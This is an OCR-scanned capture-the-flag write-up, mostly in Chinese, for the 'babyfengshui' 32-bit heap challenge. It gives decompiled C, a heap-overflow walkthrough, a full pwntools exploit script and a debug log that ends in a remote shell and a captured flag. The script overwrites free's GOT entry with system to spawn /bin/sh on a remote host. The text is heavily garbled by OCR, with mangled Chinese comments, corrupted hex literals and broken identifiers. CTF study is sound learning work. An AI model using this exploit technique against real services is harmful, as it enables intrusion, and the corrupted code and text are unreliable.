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[*] '/ctf/work/python/babyfengshui/babyfengshui’

Arch: i386-32-1little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x8048000)
FFJE T CanaryFINX.
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struct User

{

char* szDescription;
char szName[124]; //0x80-4=128-4=124
¥
XA H B AEXT SR N FE T ) Userdi 4
1. maini& %



void _ cdecl _ noreturn main()

{
char cReturn; // [esp+3h] [ebp-15h]
int nChoice; // [esp+4h] [ebp-14h]
int n; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = _ readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1)
{
puts("@: Add a user");
puts("1l: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &nChoice) == -1 )
break;
if ( !nChoice )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &n, &cReturn);
add_user(n);
}
if ( nChoice ==1 )
{
printf("index: ");
__iso0c99_scanf("%d", &n);
delete_user(n);
}
if ( nChoice == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &n);
display _user(n);
¥
if ( nChoice == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &n);
update_user_description(n);
}
if ( nChoice == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)g nIndexNextUser > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);

}
exit(1);
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2. add_useri %

User *_cdecl add_user(size_t nSizeOfDescription)
{

void *pszUserDescription; // ST24_4

User *pObjUser; // ST28 4

pszUserDescription = malloc(nSizeOfDescription);

memset(pszUserDescription, ©, nSizeOfDescription);

pObjUser = malloc(©x80u);

memset (pObjUser, ©, 0x80u);

*pObjUser = pszUserDescription;

g_arrUser[(unsigned __int8)g _nIndexNextUser] = pObjUser;

printf("name: ");

// fgets_string before_return((char *)g_arrUser[(unsigned __int8)g nIndexNextUser] + 4, 124);
fgets_string_before_return(g_arrUser[(unsigned __int8)g nIndexNextUser].szName, 124);
update_user_description(++g_nIndexNextUser - 1);

return pObjUser;

3. delete_usergh#

unsigned int __cdecl delete_user(unsigned __int8 nIndexUser)

{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = _ readgsdword(@x14u);
if ( nIndexUser < (unsigned __int8)g nIndexNextUser && g_arrUser[nIndexUser] )
{
// free(*(void **)g _arrUser[nIndexUser]);
free(g_arrUser[nIndexUser].szDescription)
free(g_arrUser[nIndexUser]);
g _arrUser[nIndexUser] = NULL;

}

return _ readgsdword(©x14u) ~ v2;

4. display_usergi$



unsigned int _ cdecl display_user(unsigned __int8 nIndexUser)

{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = _ readgsdword(0x14u);
if ( nIndexUser < (unsigned _ int8)g nIndexNextUser && g_arrUser[nIndexUser] )
{

// printf("name: %s\n", (char *)g_arrUser[nIndexUser] + 4);

// printf("description: %s\n", *(_DWORD *)g arrUser[nIndexUser]);
printf("name: %s\n", g_arrUser[nIndexUser].szName);
printf("description: %s\n", g_arrUser[nIndexUser].szDescription);

}

return __readgsdword(©x14u) ~ v2;

5. update_user_description g %t

unsigned int __cdecl update_user_description(unsigned __int8 nIndexUser)
{

char cReturn; // [esp+17h] [ebp-11h]

int nLenTextMax; // [esp+18h] [ebp-16h]

unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = _ readgsdword(0x14u);
if ( nIndexUser < (unsigned __int8)g nIndexNextUser && g_arrUser[nIndexUser] )
{

nLenTextMax = 0;

printf("text length: ");

__1s0c99_scanf("%u%c", &nlLenTextMax, &cReturn);

if ( (char *)(nLenTextMax + *(_DWORD *)g arrUser[nIndexUser]) >= (char *)g_arrUser[nIndexUser] - 4 )
// (char *)(g_arrUser[nIndexUser]->description+nLenTextMax) > (char *)g arrUser[nIndexUser] - 4

// TeEFHEE: HUETH P KMdescriptionBE— A7 Wi, BEXTF Lijuserfdbht -4 7H

puts("my 133t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
// fgets_string before_return(*(char **)g arrUser[nIndexUser], nLenTextMax + 1);
fgets_string_before_return(g_arrUser[nIndexUser].szDescription, nLenTextMax + 1);

}

return _ readgsdword(©x14u) ~ v4;
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if ( (char *)(nLenTextMax + *(_DWORD *)g arrUser[nIndexUser]) >= (char *)g_arrUser[nIndexUser] - 4 )
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1. WIMEAHP (05M15) , 27314 EL0x8+0x80. 0x8+0x8OFH) Hi 7% H]
2. #im—AHFP, ®E2%5H P Kdescriptiond'/bin/sh\x00'

3. MBROSH P
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5. 4rAL0S H P W& description ] L, 7 5 % B 15 descriptionds 9] elf.got['free’]
6. E~15description, a2 ER T HEMelf.got[free’]

7. i#idelf.got[free&E#Klibc, K Hisystem

8. H 15 descriptionf] I 2 Asystemithhit, 52 K elf.got['free|Fs M systemit ik

o. AAMER2S A, BRI Hfree(g_arrUser[nindexUser].szDescription)

free L& 28 Nsystem, g_arrUser[2].szDescriptioni & A'/bin/sh\x00'

T Ak 2 1 F system('/bin/sh\x00")

HARSEHpythonfla%an T, RELIEH P BRI HH SAERMSRER R T !

#coding:utfs8
#!/usr/bin/env python

from pwn import *
context.log _level = 'debug'’

p = remote('111.198.29.45', 55991)
elf = ELF('./babyfengshui')

def add_user(size, length, text):
p.sendlineafter("Action: ", '0")
.sendlineafter("description: ", str(size))
.sendlineafter("name: ", "'AAAA')
.sendlineafter("length: ", str(length))
.sendlineafter("text: ", text)

T T T T

def delete_user(idx):
p.sendlineafter("Action: ", '1")
p.sendlineafter("index: ", str(idx))

def display_user(idx):
p.sendlineafter("Action: ", '2")
p.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
p.sendlineafter("Action: ", '3")
p.sendlineafter("index: ", str(idx))
p.sendlineafter("length: ", str(length))



p.sendlineafter("text: ", text)

base_mem_len = 0x80

binsh_len = 8

add_user(base_mem_len, base_mem_len, 'AAAA') # o
add_user(base_mem_len, base_mem_len, 'AAAA') # 1
#W B 25 H P idescription’’y' /bin/sh\xe0"
add_user(binsh_len, binsh_len, '/bin/sh\xee') # 2
delete_user(0)

heap_head_len = 8

num_0_mem_len = (heap_head_len + base_mem_len + heap_head_len + base_mem_len) - heap_head_len

# BRAEAFSdescriptionHRATLAGEH, BHikE15descriptioniielf.got[ free']
add_user(num_0_mem_len, num_0_mem_len+0x88+8+4, "A"*(0x108+0x88+8) + p32(elf.got['free'])) #0

# BR15description, HELRISEL T HEELKMelf.got[ ' free']
display user(1)

p.recvuntil("description: ")

free_addr = u32(p.recv(4))

log.info("free_addr => %#x", free_addr)

# Bitelf.got['free' ]&E#K1ibc, FWiisystem

from LibcSearcher import *

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system")

log.info("system address: Ox%x" % system_addr)

# EH15descriptionfINAENsystemtiht, HgiRKelf.got[ ' free' 148 Msystemttdt
update_desc(1, Ox4, p32(system_addr))

# AHAMER25RHF, MR AHfree(g_arrUser[nIndexUser].szDescription)

# freeBEZ& %A Nsystem, g arrUser[2].szDescription#®&N'/bin/sh\x00’

# FrUABt A system(' /bin/sh\x00")

delete_user(2)

p.interactive()

PATERWT:

root@mypwn: /ctf/work/python/babyfengshui# python babyfengshui.py
[+] Opening connection to 111.198.29.45 on port 55991: Done
[DEBUG] PLT 0x80484e0 printf

[DEBUG] PLT 0x80484f0 free

[DEBUG] PLT 0x8048500 fgets

[DEBUG] PLT 0x8048510 alarm

[DEBUG] PLT ©x8048520 _ stack chk_fail

[DEBUG] PLT 0x8048530 malloc

[DEBUG] PLT ©x8048540 puts

[DEBUG] PLT 0x8048550 exit

[DEBUG] PLT 0x8048560 strchr

[DEBUG] PLT 0x8048570 _ libc_start_main

[DEBUG] PLT 0x8048580 setvbuf

[DEBUG] PLT 0x8048590 memset

[DEBUG] PLT 0x80485a0 _ isoc99 scanf

[DEBUG] PLT ©x80485b0 _ gmon_start_

[*] '/ctf/work/python/babyfengshui/babyfengshui’



Arch: i386-32-1ittle

RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (©x8048000)

[DEBUG] Received ©@x5e bytes:
'0: Add a user\n'
'1l: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n’
'4: Exit\n'
'Action: '

[DEBUG] Sent ©x2 bytes:
'o\n’

[DEBUG] Received 0x15 bytes:
'size of description: '

[DEBUG] Sent ©@x4 bytes:
'128\n'

[DEBUG] Received 0x6 bytes:
"name: '

[DEBUG] Sent ©x5 bytes:
'AAAA\N'

[DEBUG] Received oxd bytes:
"text length: '

[DEBUG] Sent ©@x4 bytes:
'128\n’

[DEBUG] Received 0x6 bytes:
"text: '

[DEBUG] Sent ©x5 bytes:
'AAAA\N'

[DEBUG] Received oxd bytes:
'0: Add a user'

[DEBUG] Received ©x51 bytes:
"\n'
'1: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n'
'4: Exit\n'
'Action: '

[DEBUG] Sent ©x2 bytes:
"‘o\n’

[DEBUG] Received ©x15 bytes:
'size of description: '

[DEBUG] Sent ©x4 bytes:
'128\n'

[DEBUG] Received 0x6 bytes:
'name: '

[DEBUG] Sent ©x5 bytes:
'AAAA\N'

[DEBUG] Received oxd bytes:
"text length: '

[DEBUG] Sent ©x4 bytes:
'128\n'

[DEBUG] Received 0x6 bytes:
"text: '

[DEBUG] Sent 0x5 bytes:
'AAAA\N'

[DEBUG] Received ©@xd bytes:
'9: Add a user'
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|[DEBUG| Kecelved WXb51l bytes:
"\n'
'1l: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n’
'4: Exit\n'
'Action: '
[DEBUG] Sent @x2 bytes:
‘o\n"
[DEBUG] Received ©0x15 bytes:
'size of description: '
[DEBUG] Sent @x2 bytes:
'8\n"
[DEBUG] Received 0x6 bytes:
‘name: '
[DEBUG] Sent ©Ox5 bytes:
'AAAA\N'
[DEBUG] Received oxd bytes:
"text length: '
[DEBUG] Sent ©x2 bytes:
'8\n'
[DEBUG] Received 0x6 bytes:
"text: '
[DEBUG] Sent ©x9 bytes:
00000000 2f 62 69 6e 2f 73 68 00 ©Qa
00000009
[DEBUG] Received oxd bytes:
'0: Add a user'
[DEBUG] Received @x51 bytes:
"\n'
'l: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n’
"4: Exit\n'
"Action: '
[DEBUG] Sent ©x2 bytes:
"I\n"
[DEBUG] Received 0x7 bytes:
"index: '
[DEBUG] Sent ©x2 bytes:
"o\n’
[DEBUG] Received oxd bytes:
'0: Add a user'
[DEBUG] Received ©x51 bytes:
"\n'
'1: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n'
'4: Exit\n'
'Action: '
[DEBUG] Sent ©x2 bytes:
"o\n’
[DEBUG] Received ©x15 bytes:
'size of description: '
[DEBUG] Sent 0x4 bytes:
'264\n'
[DEBUG] Received 0x6 bytes:
"name: '
[DEBUG] Sent 0x5 bytes:

'AAAA\N'

| /bin|/sh-|-|



[DEBUG] Received @xd bytes:
"text length:
[DEBUG] Sent 0x4 bytes:

'412\n"

[DEBUG] Received @x6 bytes:

"text: '

[DEBUG] Sent 0x19d bytes:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

00000000
*

00000190
0000019d

[DEBUG] Received @xd bytes:

41 41 41 41 41 41 41 41 10 bo 04 08 0Qa

'9: Add a user'
[DEBUG] Received @x51 bytes:

“\n"'

'1: Delete a user\n'
'2: Display a user\n'

'3: Update a user description\n’

'4: Exit\n'

'Action:

[DEBUG] Sent @x2

‘2\n'

[DEBUG] Received

"index:

[DEBUG] Sent @x2

‘I\n"

[DEBUG] Received

'name: \n'

[DEBUG] Received

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
0000007c

[*] free_addr => @xf759b750

64
7
20
65
44
3a
64
78

bytes:

0x7 bytes:

bytes:

0x7 bytes:

ox7c bytes:

65
20
41
6cC
69
20
65
69

73
86
64
65
73
55
73
74

63
58
64
74
70
70
63
Qa

72
7
20
65
6C
64
72
41

69
20
61
20
61
61
69
63

70
ao
20
61
79
74
70
74

74
5d
75
20
20
65
74
69

69
7
73
75
61
20
69
6f

6f
26
65
73
20
61
6f
6e

6e
85
72
65
75
20
6e
3a

3a
04
Qa
72
73
75
Qa
20

20
08
31
Qa
65
73
34

50
Qa
3a
32
72
65
3a

b7
30
20
3a
Qa
72
20

59
3a
44
20
33
20
45

| AAAA | AAAA | AAAA | AAAA |

|AnAA | AARA| - -« ]|

|desc|ript|ion:| P-Y|
|- x|« -1|-& -]|--0:]
| Add| a u|ser-|1: D|
|elet|e a |user|-2: |
|Disp|lay |a us|er-3|
|: Up|date| a u|ser
|desc|ript|ion-|4: E|
|xit-|Acti|on: ||

[+] ubuntu-xenial-amd64-1ibc6-i386 (id 1ibc6-i386_2.23-0ubuntul®_amd64) be choosed.

[*] system address: 0xf7565940
[DEBUG] Sent ©x2 bytes:

“3\n"

[DEBUG] Received

'index:

[DEBUG] Sent ©ox2

‘I\n"

[DEBUG] Received

"text length:

[DEBUG] Sent ©x2

‘4\n"

[DEBUG] Received

"text: '

[DEBUG] Sent @x5

00000000
00000005

[DEBUG] Received ©@xd bytes:

40

ox7 bytes:

bytes:

oxd bytes:

bytes:

Ox6 bytes:

bytes:

59 56 f7

'0: Add a user'
[DEBUG] Received ©0x51 bytes:

0a

levv-|-|



“\n"
'1l: Delete a user\n'
'2: Display a user\n'
'3: Update a user description\n’
'4: Exit\n'
'Action: '
[DEBUG] Sent @x2 bytes:
"‘1\n"
[DEBUG] Received @x7 bytes:
"index: '
[DEBUG] Sent @x2 bytes:
‘o\n"
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent ©x9 bytes:
'cat flag\n'
[DEBUG] Received @x2d bytes:
'cyberpeace{f73c4278f37526dd2873ae73c493c66f}\n'
cyberpeace{f73c4278f37526dd2873ae73c493c66f}

$
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